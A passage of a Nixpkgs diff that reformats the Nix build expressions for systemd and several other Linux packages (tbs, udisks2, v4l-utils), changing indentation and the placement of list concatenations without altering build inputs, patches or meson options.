-        };
-      in
-      map (patch: "${oe-core}/meta/recipes-core/systemd/systemd/${patch}") [
-        "0003-missing_type.h-add-comparison_fn_t.patch"
-        "0004-add-fallback-parse_printf_format-implementation.patch"
-        "0005-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch"
-        "0006-add-missing-FTW_-macros-for-musl.patch"
-        "0007-Use-uintmax_t-for-handling-rlim_t.patch"
-        "0008-Define-glibc-compatible-basename-for-non-glibc-syste.patch"
-        "0009-Do-not-disable-buffering-when-writing-to-oom_score_a.patch"
-        "0010-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch"
-        "0011-avoid-redefinition-of-prctl_mm_map-structure.patch"
-        "0012-do-not-disable-buffer-in-writing-files.patch"
-        "0013-Handle-__cpu_mask-usage.patch"
-        "0014-Handle-missing-gshadow.patch"
-        "0015-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch"
-        "0016-pass-correct-parameters-to-getdents64.patch"
-        "0017-Adjust-for-musl-headers.patch"
-        "0018-test-bus-error-strerror-is-assumed-to-be-GNU-specifi.patch"
-        "0019-errno-util-Make-STRERROR-portable-for-musl.patch"
-        "0020-sd-event-Make-malloc_trim-conditional-on-glibc.patch"
-        "0021-shared-Do-not-use-malloc_info-on-musl.patch"
-        "0022-avoid-missing-LOCK_EX-declaration.patch"
-        "0023-include-signal.h-to-avoid-the-undeclared-error.patch"
-        "0024-undef-stdin-for-references-using-stdin-as-a-struct-m.patch"
-        "0025-adjust-header-inclusion-order-to-avoid-redeclaration.patch"
-        "0026-build-path.c-avoid-boot-time-segfault-for-musl.patch"
-      ]
-      ++ [
-        # add a missing include
-        (fetchpatch {
-          url = "https://github.com/systemd/systemd/commit/34fcd3638817060c79e1186b370e46d9b3a7409f.patch";
-          hash = "sha256-Uaewo3jPrZGJttlLcqO6cCj1w3IGZmvbur4+TBdIPxc=";
-          excludes = [ "src/udev/udevd.c" ];
-        })
-      ]
-    );
+  );
 
-  postPatch =
-    ''
-      substituteInPlace src/basic/path-util.h --replace "@defaultPathNormal@" "${placeholder "out"}/bin/"
-    ''
-    + lib.optionalString withLibBPF ''
-      substituteInPlace meson.build \
-        --replace "find_program('clang'" "find_program('${stdenv.cc.targetPrefix}clang'"
-    ''
-    + lib.optionalString withUkify ''
-      substituteInPlace src/ukify/ukify.py \
-        --replace \
-        "'readelf'" \
-        "'${targetPackages.stdenv.cc.bintools.targetPrefix}readelf'" \
-        --replace \
-        "/usr/lib/systemd/boot/efi" \
-        "$out/lib/systemd/boot/efi"
-    ''
-    # Finally, patch shebangs in scripts used at build time. This must not patch
-    # scripts that will end up in the output, to avoid build platform references
-    # when cross-compiling.
-    + ''
-      shopt -s extglob
-      patchShebangs tools test src/!(rpm|kernel-install|ukify) src/kernel-install/test-kernel-install.sh
-    '';
+  postPatch = ''
+    substituteInPlace src/basic/path-util.h --replace "@defaultPathNormal@" "${placeholder "out"}/bin/"
+  ''
+  + lib.optionalString withLibBPF ''
+    substituteInPlace meson.build \
+      --replace "find_program('clang'" "find_program('${stdenv.cc.targetPrefix}clang'"
+  ''
+  + lib.optionalString withUkify ''
+    substituteInPlace src/ukify/ukify.py \
+      --replace \
+      "'readelf'" \
+      "'${targetPackages.stdenv.cc.bintools.targetPrefix}readelf'" \
+      --replace \
+      "/usr/lib/systemd/boot/efi" \
+      "$out/lib/systemd/boot/efi"
+  ''
+  # Finally, patch shebangs in scripts used at build time. This must not patch
+  # scripts that will end up in the output, to avoid build platform references
+  # when cross-compiling.
+  + ''
+    shopt -s extglob
+    patchShebangs tools test src/!(rpm|kernel-install|ukify) src/kernel-install/test-kernel-install.sh
+  '';
 
   outputs = [
     "out"
     "dev"
-  ] ++ (lib.optional (!buildLibsOnly) "man");
+  ]
+  ++ (lib.optional (!buildLibsOnly) "man");
   separateDebugInfo = true;
 
-  hardeningDisable =
-    [
-      # https://gcc.gnu.org/bugzilla/show_bug.cgi?id=111523
-      "trivialautovarinit"
-    ]
-    ++ (lib.optionals withLibBPF [
-      # breaks clang -target bpf; should be fixed to not use
-      # a wrapped clang?
-      "zerocallusedregs"
-      "shadowstack"
-      "pacret"
-    ]);
+  hardeningDisable = [
+    # https://gcc.gnu.org/bugzilla/show_bug.cgi?id=111523
+    "trivialautovarinit"
+  ]
+  ++ (lib.optionals withLibBPF [
+    # breaks clang -target bpf; should be fixed to not use
+    # a wrapped clang?
+    "zerocallusedregs"
+    "shadowstack"
+    "pacret"
+  ]);
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      makeBinaryWrapper
-      gperf
-      ninja
-      meson
-      glibcLocales
-      getent
-      m4
-      autoPatchelfHook
+  nativeBuildInputs = [
+    pkg-config
+    makeBinaryWrapper
+    gperf
+    ninja
+    meson
+    glibcLocales
+    getent
+    m4
+    autoPatchelfHook
 
-      intltool
-      gettext
+    intltool
+    gettext
 
-      libxslt
-      docbook_xsl
-      docbook_xml_dtd_42
-      docbook_xml_dtd_45
-      bash
-      (buildPackages.python3Packages.python.withPackages (
-        ps:
-        with ps;
-        [
-          lxml
-          jinja2
-        ]
-        ++ lib.optional withEfi ps.pyelftools
-      ))
-    ]
-    ++ lib.optionals withLibBPF [
-      bpftools
-      buildPackages.llvmPackages.clang
-      buildPackages.llvmPackages.libllvm
-    ];
+    libxslt
+    docbook_xsl
+    docbook_xml_dtd_42
+    docbook_xml_dtd_45
+    bash
+    (buildPackages.python3Packages.python.withPackages (
+      ps:
+      with ps;
+      [
+        lxml
+        jinja2
+      ]
+      ++ lib.optional withEfi ps.pyelftools
+    ))
+  ]
+  ++ lib.optionals withLibBPF [
+    bpftools
+    buildPackages.llvmPackages.clang
+    buildPackages.llvmPackages.libllvm
+  ];
 
   autoPatchelfFlags = [ "--keep-libc" ];
 
-  buildInputs =
-    [
-      libxcrypt
-      libcap
-      libuuid
-      linuxHeaders
-      bashInteractive # for patch shebangs
-    ]
+  buildInputs = [
+    libxcrypt
+    libcap
+    libuuid
+    linuxHeaders
+    bashInteractive # for patch shebangs
+  ]
 
-    ++ lib.optionals withGcrypt [
-      libgcrypt
-      libgpg-error
-    ]
-    ++ lib.optionals withOpenSSL [ openssl ]
-    ++ lib.optional withTests glib
-    ++ lib.optional withAcl acl
-    ++ lib.optional withApparmor libapparmor
-    ++ lib.optional withAudit audit
-    ++ lib.optional wantCurl (lib.getDev curl)
-    ++ lib.optionals withCompression [
-      zlib
-      bzip2
-      lz4
-      xz
-      zstd
-    ]
-    ++ lib.optional withCoredump elfutils
-    ++ lib.optional withCryptsetup (lib.getDev cryptsetup.dev)
-    ++ lib.optional withKexectools kexec-tools
-    ++ lib.optional withKmod kmod
-    ++ lib.optional withLibidn2 libidn2
-    ++ lib.optional withLibseccomp libseccomp
-    ++ lib.optional withIptables iptables
-    ++ lib.optional withPam pam
-    ++ lib.optional withPCRE2 pcre2
-    ++ lib.optional withSelinux libselinux
-    ++ lib.optionals withRemote [
-      libmicrohttpd
-      gnutls
-    ]
-    ++ lib.optionals (withHomed || withCryptsetup) [ p11-kit ]
-    ++ lib.optionals (withHomed || withCryptsetup) [ libfido2 ]
-    ++ lib.optionals withLibBPF [ libbpf ]
-    ++ lib.optional withTpm2Tss tpm2-tss
-    ++ lib.optional withUkify (python3Packages.python.withPackages (ps: with ps; [ pefile ]))
-    ++ lib.optionals withPasswordQuality [ libpwquality ]
-    ++ lib.optionals withQrencode [ qrencode ]
-    ++ lib.optionals withLibarchive [ libarchive ]
-    ++ lib.optional (withBootloader && stdenv.targetPlatform.useLLVM or false) (
-      llvmPackages.compiler-rt.override {
-        doFakeLibgcc = true;
-      }
-    );
+  ++ lib.optionals withGcrypt [
+    libgcrypt
+    libgpg-error
+  ]
+  ++ lib.optionals withOpenSSL [ openssl ]
+  ++ lib.optional withTests glib
+  ++ lib.optional withAcl acl
+  ++ lib.optional withApparmor libapparmor
+  ++ lib.optional withAudit audit
+  ++ lib.optional wantCurl (lib.getDev curl)
+  ++ lib.optionals withCompression [
+    zlib
+    bzip2
+    lz4
+    xz
+    zstd
+  ]
+  ++ lib.optional withCoredump elfutils
+  ++ lib.optional withCryptsetup (lib.getDev cryptsetup.dev)
+  ++ lib.optional withKexectools kexec-tools
+  ++ lib.optional withKmod kmod
+  ++ lib.optional withLibidn2 libidn2
+  ++ lib.optional withLibseccomp libseccomp
+  ++ lib.optional withIptables iptables
+  ++ lib.optional withPam pam
+  ++ lib.optional withPCRE2 pcre2
+  ++ lib.optional withSelinux libselinux
+  ++ lib.optionals withRemote [
+    libmicrohttpd
+    gnutls
+  ]
+  ++ lib.optionals (withHomed || withCryptsetup) [ p11-kit ]
+  ++ lib.optionals (withHomed || withCryptsetup) [ libfido2 ]
+  ++ lib.optionals withLibBPF [ libbpf ]
+  ++ lib.optional withTpm2Tss tpm2-tss
+  ++ lib.optional withUkify (python3Packages.python.withPackages (ps: with ps; [ pefile ]))
+  ++ lib.optionals withPasswordQuality [ libpwquality ]
+  ++ lib.optionals withQrencode [ qrencode ]
+  ++ lib.optionals withLibarchive [ libarchive ]
+  ++ lib.optional (withBootloader && stdenv.targetPlatform.useLLVM or false) (
+    llvmPackages.compiler-rt.override {
+      doFakeLibgcc = true;
+    }
+  );
 
   mesonBuildType = "release";
 
-  mesonFlags =
-    [
-      # Options
+  mesonFlags = [
+    # Options
 
-      # We bump this attribute on every (major) version change to ensure that we
-      # have known-good value for a timestamp that is in the (not so distant)
-      # past. This serves as a lower bound for valid system timestamps during
-      # startup. Systemd will reset the system timestamp if this date is +- 15
-      # years from the system time.
-      # See the systemd v250 release notes for further details:
-      #   https://github.com/systemd/systemd/blob/60e930fc3e6eb8a36fbc184773119eb8d2f30364/NEWS#L258-L266
-      (lib.mesonOption "time-epoch" releaseTimestamp)
+    # We bump this attribute on every (major) version change to ensure that we
+    # have known-good value for a timestamp that is in the (not so distant)
+    # past. This serves as a lower bound for valid system timestamps during
+    # startup. Systemd will reset the system timestamp if this date is +- 15
+    # years from the system time.
+    # See the systemd v250 release notes for further details:
+    #   https://github.com/systemd/systemd/blob/60e930fc3e6eb8a36fbc184773119eb8d2f30364/NEWS#L258-L266
+    (lib.mesonOption "time-epoch" releaseTimestamp)
 
-      (lib.mesonOption "version-tag" version)
-      (lib.mesonOption "mode" "release")
-      (lib.mesonOption "tty-gid" "3") # tty in NixOS has gid 3
-      (lib.mesonOption "debug-shell" "${bashInteractive}/bin/bash")
-      (lib.mesonOption "pamconfdir" "${placeholder "out"}/etc/pam.d")
-      (lib.mesonOption "shellprofiledir" "${placeholder "out"}/etc/profile.d")
-      (lib.mesonOption "kmod-path" "${kmod}/bin/kmod")
+    (lib.mesonOption "version-tag" version)
+    (lib.mesonOption "mode" "release")
+    (lib.mesonOption "tty-gid" "3") # tty in NixOS has gid 3
+    (lib.mesonOption "debug-shell" "${bashInteractive}/bin/bash")
+    (lib.mesonOption "pamconfdir" "${placeholder "out"}/etc/pam.d")
+    (lib.mesonOption "shellprofiledir" "${placeholder "out"}/etc/profile.d")
+    (lib.mesonOption "kmod-path" "${kmod}/bin/kmod")
 
-      # Attempts to check /usr/sbin and that fails in macOS sandbox because
-      # permission is denied. If /usr/sbin is not a symlink, it defaults to true.
-      # We set it to false since stdenv moves sbin/* to bin and creates a symlink,
-      # that is, we do not have split bin.
-      (lib.mesonOption "split-bin" "false")
+    # Attempts to check /usr/sbin and that fails in macOS sandbox because
+    # permission is denied. If /usr/sbin is not a symlink, it defaults to true.
+    # We set it to false since stdenv moves sbin/* to bin and creates a symlink,
+    # that is, we do not have split bin.
+    (lib.mesonOption "split-bin" "false")
 
-      # D-Bus
-      (lib.mesonOption "dbuspolicydir" "${placeholder "out"}/share/dbus-1/system.d")
-      (lib.mesonOption "dbussessionservicedir" "${placeholder "out"}/share/dbus-1/services")
-      (lib.mesonOption "dbussystemservicedir" "${placeholder "out"}/share/dbus-1/system-services")
+    # D-Bus
+    (lib.mesonOption "dbuspolicydir" "${placeholder "out"}/share/dbus-1/system.d")
+    (lib.mesonOption "dbussessionservicedir" "${placeholder "out"}/share/dbus-1/services")
+    (lib.mesonOption "dbussystemservicedir" "${placeholder "out"}/share/dbus-1/system-services")
 
-      # pkgconfig
-      (lib.mesonOption "pkgconfiglibdir" "${placeholder "dev"}/lib/pkgconfig")
-      (lib.mesonOption "pkgconfigdatadir" "${placeholder "dev"}/share/pkgconfig")
+    # pkgconfig
+    (lib.mesonOption "pkgconfiglibdir" "${placeholder "dev"}/lib/pkgconfig")
+    (lib.mesonOption "pkgconfigdatadir" "${placeholder "dev"}/share/pkgconfig")
 
-      # Keyboard
-      (lib.mesonOption "loadkeys-path" "${kbd}/bin/loadkeys")
-      (lib.mesonOption "setfont-path" "${kbd}/bin/setfont")
+    # Keyboard
+    (lib.mesonOption "loadkeys-path" "${kbd}/bin/loadkeys")
+    (lib.mesonOption "setfont-path" "${kbd}/bin/setfont")
 
-      # SBAT
-      (lib.mesonOption "sbat-distro" "nixos")
-      (lib.mesonOption "sbat-distro-summary" "NixOS")
-      (lib.mesonOption "sbat-distro-url" "https://nixos.org/")
-      (lib.mesonOption "sbat-distro-pkgname" pname)
-      (lib.mesonOption "sbat-distro-version" version)
+    # SBAT
+    (lib.mesonOption "sbat-distro" "nixos")
+    (lib.mesonOption "sbat-distro-summary" "NixOS")
+    (lib.mesonOption "sbat-distro-url" "https://nixos.org/")
+    (lib.mesonOption "sbat-distro-pkgname" pname)
+    (lib.mesonOption "sbat-distro-version" version)
 
-      # Users
-      (lib.mesonOption "system-uid-max" "999")
-      (lib.mesonOption "system-gid-max" "999")
+    # Users
+    (lib.mesonOption "system-uid-max" "999")
+    (lib.mesonOption "system-gid-max" "999")
 
-      # SysVinit
-      (lib.mesonOption "sysvinit-path" "")
-      (lib.mesonOption "sysvrcnd-path" "")
+    # SysVinit
+    (lib.mesonOption "sysvinit-path" "")
+    (lib.mesonOption "sysvrcnd-path" "")
 
-      # Login
-      (lib.mesonOption "sulogin-path" "${util-linux.login}/bin/sulogin")
-      (lib.mesonOption "nologin-path" "${util-linux.login}/bin/nologin")
+    # Login
+    (lib.mesonOption "sulogin-path" "${util-linux.login}/bin/sulogin")
+    (lib.mesonOption "nologin-path" "${util-linux.login}/bin/nologin")
 
-      # Mount
-      (lib.mesonOption "mount-path" "${lib.getOutput "mount" util-linux}/bin/mount")
-      (lib.mesonOption "umount-path" "${lib.getOutput "mount" util-linux}/bin/umount")
+    # Mount
+    (lib.mesonOption "mount-path" "${lib.getOutput "mount" util-linux}/bin/mount")
+    (lib.mesonOption "umount-path" "${lib.getOutput "mount" util-linux}/bin/umount")
 
-      # SSH
-      (lib.mesonOption "sshconfdir" "")
-      (lib.mesonOption "sshdconfdir" "no")
+    # SSH
+    (lib.mesonOption "sshconfdir" "")
+    (lib.mesonOption "sshdconfdir" "no")
 
-      # Features
+    # Features
 
-      # Tests
-      (lib.mesonBool "tests" withTests)
-      (lib.mesonEnable "glib" withTests)
-      (lib.mesonEnable "dbus" withTests)
+    # Tests
+    (lib.mesonBool "tests" withTests)
+    (lib.mesonEnable "glib" withTests)
+    (lib.mesonEnable "dbus" withTests)
 
-      # Compression
-      (lib.mesonEnable "bzip2" withCompression)
-      (lib.mesonEnable "lz4" withCompression)
-      (lib.mesonEnable "xz" withCompression)
-      (lib.mesonEnable "zstd" withCompression)
-      (lib.mesonEnable "zlib" withCompression)
+    # Compression
+    (lib.mesonEnable "bzip2" withCompression)
+    (lib.mesonEnable "lz4" withCompression)
+    (lib.mesonEnable "xz" withCompression)
+    (lib.mesonEnable "zstd" withCompression)
+    (lib.mesonEnable "zlib" withCompression)
 
-      # NSS
-      (lib.mesonEnable "nss-mymachines" (withNss && withMachined))
-      (lib.mesonEnable "nss-resolve" withNss)
-      (lib.mesonBool "nss-myhostname" withNss)
-      (lib.mesonBool "nss-systemd" withNss)
+    # NSS
+    (lib.mesonEnable "nss-mymachines" (withNss && withMachined))
+    (lib.mesonEnable "nss-resolve" withNss)
+    (lib.mesonBool "nss-myhostname" withNss)
+    (lib.mesonBool "nss-systemd" withNss)
 
-      # Cryptsetup
-      (lib.mesonEnable "libcryptsetup" withCryptsetup)
-      (lib.mesonEnable "libcryptsetup-plugins" withCryptsetup)
-      (lib.mesonEnable "p11kit" (withHomed || withCryptsetup))
+    # Cryptsetup
+    (lib.mesonEnable "libcryptsetup" withCryptsetup)
+    (lib.mesonEnable "libcryptsetup-plugins" withCryptsetup)
+    (lib.mesonEnable "p11kit" (withHomed || withCryptsetup))
 
-      # FIDO2
-      (lib.mesonEnable "libfido2" withFido2)
-      (lib.mesonEnable "openssl" withOpenSSL)
+    # FIDO2
+    (lib.mesonEnable "libfido2" withFido2)
+    (lib.mesonEnable "openssl" withOpenSSL)
 
-      # Password Quality
-      (lib.mesonEnable "pwquality" withPasswordQuality)
-      (lib.mesonEnable "passwdqc" false)
+    # Password Quality
+    (lib.mesonEnable "pwquality" withPasswordQuality)
+    (lib.mesonEnable "passwdqc" false)
 
-      # Remote
-      (lib.mesonEnable "remote" withRemote)
-      (lib.mesonEnable "microhttpd" withRemote)
+    # Remote
+    (lib.mesonEnable "remote" withRemote)
+    (lib.mesonEnable "microhttpd" withRemote)
 
-      (lib.mesonEnable "pam" withPam)
-      (lib.mesonEnable "acl" withAcl)
-      (lib.mesonEnable "audit" withAudit)
-      (lib.mesonEnable "apparmor" withApparmor)
-      (lib.mesonEnable "gcrypt" withGcrypt)
-      (lib.mesonEnable "importd" withImportd)
-      (lib.mesonEnable "homed" withHomed)
-      (lib.mesonEnable "polkit" withPolkit)
-      (lib.mesonEnable "elfutils" withCoredump)
-      (lib.mesonEnable "libcurl" wantCurl)
-      (lib.mesonEnable "libidn" false)
-      (lib.mesonEnable "libidn2" withLibidn2)
-      (lib.mesonEnable "libiptc" withIptables)
-      (lib.mesonEnable "repart" withRepart)
-      (lib.mesonEnable "sysupdate" withSysupdate)
-      (lib.mesonEnable "seccomp" withLibseccomp)
-      (lib.mesonEnable "selinux" withSelinux)
-      (lib.mesonEnable "tpm2" withTpm2Tss)
-      (lib.mesonEnable "pcre2" withPCRE2)
-      (lib.mesonEnable "bpf-framework" withLibBPF)
-      (lib.mesonEnable "bootloader" withBootloader)
-      (lib.mesonEnable "ukify" withUkify)
-      (lib.mesonEnable "kmod" withKmod)
-      (lib.mesonEnable "qrencode" withQrencode)
-      (lib.mesonEnable "vmspawn" withVmspawn)
-      (lib.mesonEnable "libarchive" withLibarchive)
-      (lib.mesonEnable "xenctrl" false)
-      (lib.mesonEnable "gnutls" false)
-      (lib.mesonEnable "xkbcommon" false)
-      (lib.mesonEnable "man" true)
+    (lib.mesonEnable "pam" withPam)
+    (lib.mesonEnable "acl" withAcl)
+    (lib.mesonEnable "audit" withAudit)
+    (lib.mesonEnable "apparmor" withApparmor)
+    (lib.mesonEnable "gcrypt" withGcrypt)
+    (lib.mesonEnable "importd" withImportd)
+    (lib.mesonEnable "homed" withHomed)
+    (lib.mesonEnable "polkit" withPolkit)
+    (lib.mesonEnable "elfutils" withCoredump)
+    (lib.mesonEnable "libcurl" wantCurl)
+    (lib.mesonEnable "libidn" false)
+    (lib.mesonEnable "libidn2" withLibidn2)
+    (lib.mesonEnable "libiptc" withIptables)
+    (lib.mesonEnable "repart" withRepart)
+    (lib.mesonEnable "sysupdate" withSysupdate)
+    (lib.mesonEnable "seccomp" withLibseccomp)
+    (lib.mesonEnable "selinux" withSelinux)
+    (lib.mesonEnable "tpm2" withTpm2Tss)
+    (lib.mesonEnable "pcre2" withPCRE2)
+    (lib.mesonEnable "bpf-framework" withLibBPF)
+    (lib.mesonEnable "bootloader" withBootloader)
+    (lib.mesonEnable "ukify" withUkify)
+    (lib.mesonEnable "kmod" withKmod)
+    (lib.mesonEnable "qrencode" withQrencode)
+    (lib.mesonEnable "vmspawn" withVmspawn)
+    (lib.mesonEnable "libarchive" withLibarchive)
+    (lib.mesonEnable "xenctrl" false)
+    (lib.mesonEnable "gnutls" false)
+    (lib.mesonEnable "xkbcommon" false)
+    (lib.mesonEnable "man" true)
 
-      (lib.mesonBool "analyze" withAnalyze)
-      (lib.mesonBool "logind" withLogind)
-      (lib.mesonBool "localed" withLocaled)
-      (lib.mesonBool "hostnamed" withHostnamed)
-      (lib.mesonBool "machined" withMachined)
-      (lib.mesonBool "networkd" withNetworkd)
-      (lib.mesonBool "oomd" withOomd)
-      (lib.mesonBool "portabled" withPortabled)
-      (lib.mesonBool "hwdb" withHwdb)
-      (lib.mesonBool "timedated" withTimedated)
-      (lib.mesonBool "timesyncd" withTimesyncd)
-      (lib.mesonBool "userdb" withUserDb)
-      (lib.mesonBool "coredump" withCoredump)
-      (lib.mesonBool "firstboot" withFirstboot)
-      (lib.mesonBool "resolve" withResolved)
-      (lib.mesonBool "sysusers" withSysusers)
-      (lib.mesonBool "efi" withEfi)
-      (lib.mesonBool "utmp" withUtmp)
-      (lib.mesonBool "log-trace" withLogTrace)
-      (lib.mesonBool "kernel-install" withKernelInstall)
-      (lib.mesonBool "quotacheck" false)
-      (lib.mesonBool "ldconfig" false)
-      (lib.mesonBool "install-sysconfdir" false)
-      (lib.mesonBool "create-log-dirs" false)
-      (lib.mesonBool "smack" true)
-      (lib.mesonBool "b_pie" true)
+    (lib.mesonBool "analyze" withAnalyze)
+    (lib.mesonBool "logind" withLogind)
+    (lib.mesonBool "localed" withLocaled)
+    (lib.mesonBool "hostnamed" withHostnamed)
+    (lib.mesonBool "machined" withMachined)
+    (lib.mesonBool "networkd" withNetworkd)
+    (lib.mesonBool "oomd" withOomd)
+    (lib.mesonBool "portabled" withPortabled)
+    (lib.mesonBool "hwdb" withHwdb)
+    (lib.mesonBool "timedated" withTimedated)
+    (lib.mesonBool "timesyncd" withTimesyncd)
+    (lib.mesonBool "userdb" withUserDb)
+    (lib.mesonBool "coredump" withCoredump)
+    (lib.mesonBool "firstboot" withFirstboot)
+    (lib.mesonBool "resolve" withResolved)
+    (lib.mesonBool "sysusers" withSysusers)
+    (lib.mesonBool "efi" withEfi)
+    (lib.mesonBool "utmp" withUtmp)
+    (lib.mesonBool "log-trace" withLogTrace)
+    (lib.mesonBool "kernel-install" withKernelInstall)
+    (lib.mesonBool "quotacheck" false)
+    (lib.mesonBool "ldconfig" false)
+    (lib.mesonBool "install-sysconfdir" false)
+    (lib.mesonBool "create-log-dirs" false)
+    (lib.mesonBool "smack" true)
+    (lib.mesonBool "b_pie" true)
 
-    ]
-    ++ lib.optionals (withShellCompletions == false) [
-      (lib.mesonOption "bashcompletiondir" "no")
-      (lib.mesonOption "zshcompletiondir" "no")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      (lib.mesonBool "gshadow" false)
-      (lib.mesonBool "idn" false)
-    ];
+  ]
+  ++ lib.optionals (withShellCompletions == false) [
+    (lib.mesonOption "bashcompletiondir" "no")
+    (lib.mesonOption "zshcompletiondir" "no")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    (lib.mesonBool "gshadow" false)
+    (lib.mesonBool "idn" false)
+  ];
   preConfigure =
     let
       # A list of all the runtime binaries referenced by the source code (plus
@@ -619,96 +614,95 @@ stdenv.mkDerivation (finalAttrs: {
       # The `where` attribute for each of the replacement patterns must be
       # exhaustive. If another (unhandled) case is found in the source code the
       # build fails with an error message.
-      binaryReplacements =
-        [
-          {
-            search = "/usr/bin/getent";
-            replacement = "${getent}/bin/getent";
-            where = [ "src/nspawn/nspawn-setuid.c" ];
-          }
-          {
-            search = "/sbin/mkswap";
-            replacement = "${lib.getBin util-linux}/sbin/mkswap";
-            where = [
-              "man/systemd-makefs@.service.xml"
-            ];
-          }
-          {
-            search = "/sbin/swapon";
-            replacement = "${lib.getOutput "swap" util-linux}/sbin/swapon";
-            where = [
-              "src/core/swap.c"
-              "src/basic/unit-def.h"
-            ];
-          }
-          {
-            search = "/sbin/swapoff";
-            replacement = "${lib.getOutput "swap" util-linux}/sbin/swapoff";
-            where = [ "src/core/swap.c" ];
-          }
-          {
-            search = "/bin/echo";
-            replacement = "${coreutils}/bin/echo";
-            where = [
-              "man/systemd-analyze.xml"
-              "man/systemd.service.xml"
-              "man/systemd-run.xml"
-              "src/analyze/test-verify.c"
-              "src/test/test-env-file.c"
-              "src/test/test-fileio.c"
-              "src/test/test-load-fragment.c"
-            ];
-          }
-          {
-            search = "/bin/cat";
-            replacement = "${coreutils}/bin/cat";
-            where = [
-              "test/test-execute/exec-noexecpaths-simple.service"
-              "src/journal/cat.c"
-            ];
-          }
-          {
-            search = "/usr/lib/systemd/systemd-fsck";
-            replacement = "$out/lib/systemd/systemd-fsck";
-            where = [ "man/systemd-fsck@.service.xml" ];
-          }
-        ]
-        ++ lib.optionals withImportd [
-          {
-            search = "\"gpg\"";
-            replacement = "\\\"${gnupg}/bin/gpg\\\"";
-            where = [ "src/import/pull-common.c" ];
-          }
-          {
-            search = "\"tar\"";
-            replacement = "\\\"${gnutar}/bin/tar\\\"";
-            where = [
-              "src/import/export-tar.c"
-              "src/import/import-common.c"
-              "src/import/import-tar.c"
-            ];
-            ignore = [
-              # occurrences here refer to the tar sub command
-              "src/sysupdate/sysupdate-resource.c"
-              "src/sysupdate/sysupdate-transfer.c"
-              "src/import/pull.c"
-              "src/import/export.c"
-              "src/import/import.c"
-              "src/import/importd.c"
-              # runs `tar` but also also creates a temporary directory with the string
-              "src/import/pull-tar.c"
-              # tar referenced as file suffix
-              "src/shared/import-util.c"
-            ];
-          }
-        ]
-        ++ lib.optionals withKmod [
-          {
-            search = "/sbin/modprobe";
-            replacement = "${lib.getBin kmod}/sbin/modprobe";
-            where = [ "units/modprobe@.service" ];
-          }
-        ];
+      binaryReplacements = [
+        {
+          search = "/usr/bin/getent";
+          replacement = "${getent}/bin/getent";
+          where = [ "src/nspawn/nspawn-setuid.c" ];
+        }
+        {
+          search = "/sbin/mkswap";
+          replacement = "${lib.getBin util-linux}/sbin/mkswap";
+          where = [
+            "man/systemd-makefs@.service.xml"
+          ];
+        }
+        {
+          search = "/sbin/swapon";
+          replacement = "${lib.getOutput "swap" util-linux}/sbin/swapon";
+          where = [
+            "src/core/swap.c"
+            "src/basic/unit-def.h"
+          ];
+        }
+        {
+          search = "/sbin/swapoff";
+          replacement = "${lib.getOutput "swap" util-linux}/sbin/swapoff";
+          where = [ "src/core/swap.c" ];
+        }
+        {
+          search = "/bin/echo";
+          replacement = "${coreutils}/bin/echo";
+          where = [
+            "man/systemd-analyze.xml"
+            "man/systemd.service.xml"
+            "man/systemd-run.xml"
+            "src/analyze/test-verify.c"
+            "src/test/test-env-file.c"
+            "src/test/test-fileio.c"
+            "src/test/test-load-fragment.c"
+          ];
+        }
+        {
+          search = "/bin/cat";
+          replacement = "${coreutils}/bin/cat";
+          where = [
+            "test/test-execute/exec-noexecpaths-simple.service"
+            "src/journal/cat.c"
+          ];
+        }
+        {
+          search = "/usr/lib/systemd/systemd-fsck";
+          replacement = "$out/lib/systemd/systemd-fsck";
+          where = [ "man/systemd-fsck@.service.xml" ];
+        }
+      ]
+      ++ lib.optionals withImportd [
+        {
+          search = "\"gpg\"";
+          replacement = "\\\"${gnupg}/bin/gpg\\\"";
+          where = [ "src/import/pull-common.c" ];
+        }
+        {
+          search = "\"tar\"";
+          replacement = "\\\"${gnutar}/bin/tar\\\"";
+          where = [
+            "src/import/export-tar.c"
+            "src/import/import-common.c"
+            "src/import/import-tar.c"
+          ];
+          ignore = [
+            # occurrences here refer to the tar sub command
+            "src/sysupdate/sysupdate-resource.c"
+            "src/sysupdate/sysupdate-transfer.c"
+            "src/import/pull.c"
+            "src/import/export.c"
+            "src/import/import.c"
+            "src/import/importd.c"
+            # runs `tar` but also also creates a temporary directory with the string
+            "src/import/pull-tar.c"
+            # tar referenced as file suffix
+            "src/shared/import-util.c"
+          ];
+        }
+      ]
+      ++ lib.optionals withKmod [
+        {
+          search = "/sbin/modprobe";
+          replacement = "${lib.getBin kmod}/sbin/modprobe";
+          where = [ "units/modprobe@.service" ];
+        }
+      ];
 
       # { replacement, search, where, ignore } -> List[str]
       mkSubstitute =
diff --git a/pkgs/os-specific/linux/tbs/default.nix b/pkgs/os-specific/linux/tbs/default.nix
index c29a12987efb..2fe60b5b76e3 100644
--- a/pkgs/os-specific/linux/tbs/default.nix
+++ b/pkgs/os-specific/linux/tbs/default.nix
@@ -68,7 +68,8 @@ stdenv.mkDerivation {
     patchutils
     kmod
     perlPackages.ProcProcessTable
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
 
   postInstall = ''
     find $out/lib/modules/${kernel.modDirVersion} -name "*.ko" -exec xz {} \;
diff --git a/pkgs/os-specific/linux/udisks/2-default.nix b/pkgs/os-specific/linux/udisks/2-default.nix
index 6ee55b8579d1..ff902e215830 100644
--- a/pkgs/os-specific/linux/udisks/2-default.nix
+++ b/pkgs/os-specific/linux/udisks/2-default.nix
@@ -53,7 +53,8 @@ stdenv.mkDerivation rec {
     "out"
     "man"
     "dev"
-  ] ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) "devdoc";
+  ]
+  ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) "devdoc";
 
   patches = [
     (replaceVars ./fix-paths.patch {
diff --git a/pkgs/os-specific/linux/v4l-utils/default.nix b/pkgs/os-specific/linux/v4l-utils/default.nix
index 293af1492198..55b1b15dafd4 100644
--- a/pkgs/os-specific/linux/v4l-utils/default.nix
+++ b/pkgs/os-specific/linux/v4l-utils/default.nix
@@ -54,17 +54,19 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     pkg-config
     perl
-  ] ++ lib.optional withQt wrapQtAppsHook;
+  ]
+  ++ lib.optional withQt wrapQtAppsHook;
 
